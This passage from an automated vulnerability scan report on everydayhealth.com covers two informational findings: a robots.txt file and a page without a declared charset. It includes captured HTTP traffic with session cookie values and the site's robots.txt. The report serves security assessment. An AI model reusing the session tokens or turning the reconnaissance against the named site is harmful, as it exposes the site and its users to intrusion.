Cookie: .ASPXANONYMOUS=AcxLMNLQscs5OTE0M2M1Mi01NWQ3LTQyZmQtOTNlMS03NWY1MDA5MTk5NmU1; ASP.NET_SessionId=qolrii45le3ga1451q3brrrd; ProductID=37; AOL_ReferrerList_37=%5b%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.aol.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Thatsfit.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fLiving.aol.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Parentdish.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Stylelist.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Kitchendaily.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.Mydaily.com%22%2c%22Value%22%3atrue%7d%2c%7b%22Key%22%3a%22http%5c%5c%3a%5c%5c%2f%5c%5c%2fwww.aolhealth.com%22%2c%22Value%22%3atrue%7d%5d; SL_Audience=737|Accelerated|53|1|0; SL_UVId=28F7CD9C196C0B59; SL_NV1=1|1; __utmz=104244948.1305642638.1.1.utmcsr=corporate.everydayhealth.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.aspx; __utma=104244948.844978898.1305642638.1305642638.1305642638.1; __utmc=104244948; __utmb=104244948.1.10.1305642638; ehUTC=-5

Response

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Fri, 22 Apr 2011 15:55:46 GMT
Accept-Ranges: bytes
ETag: "02df0bd51cc1:3644"
Server: Microsoft-IIS/6.0
ServerID: : USNJWWEB11
X-Powered-By: ASP.NET
Date: Tue, 17 May 2011 14:30:42 GMT
Set-Cookie: SL_UVId=28F7CD9C196C0B59;path=/;
X-SL-CompState: TouchUp
X-Strangeloop: ViewState,Compression
Content-Length: 2134

...<html>
</html>
<html>
<head><script id="slheadjs" type="text/javascript" err="true">__$1D0C = { head: new Date(), stack: [] };</script><script>
__$1D3F = { deferred: [], deferScript: function(id,
...[SNIP]...

7. Robots.txt file previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.everydayhealth.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.everydayhealth.com

Response

HTTP/1.1 200 OK
ETag: "026e9129ccc1:3644"
Accept-Ranges: bytes
Content-Length: 7912
Date: Tue, 17 May 2011 14:30:35 GMT
Connection: close
Last-Modified: Fri, 06 May 2011 20:09:56 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/plain
ServerID: : USNJWWEB11

User-agent: AdsBot-Google
Allow: /
Disallow:

User-agent: Mediapartners-Google
Allow: /
Disallow:

User-agent: adidxbot
Allow: /
Disallow:

User-agent: MSNPTC
Allow: /
Disallow:

User-
...[SNIP]...

8. HTML does not specify charset previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.everydayhealth.com
Path:	/ads.htm

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

Response

Report generated by XSS.CX at Tue May 17 09:34:01 CDT 2011.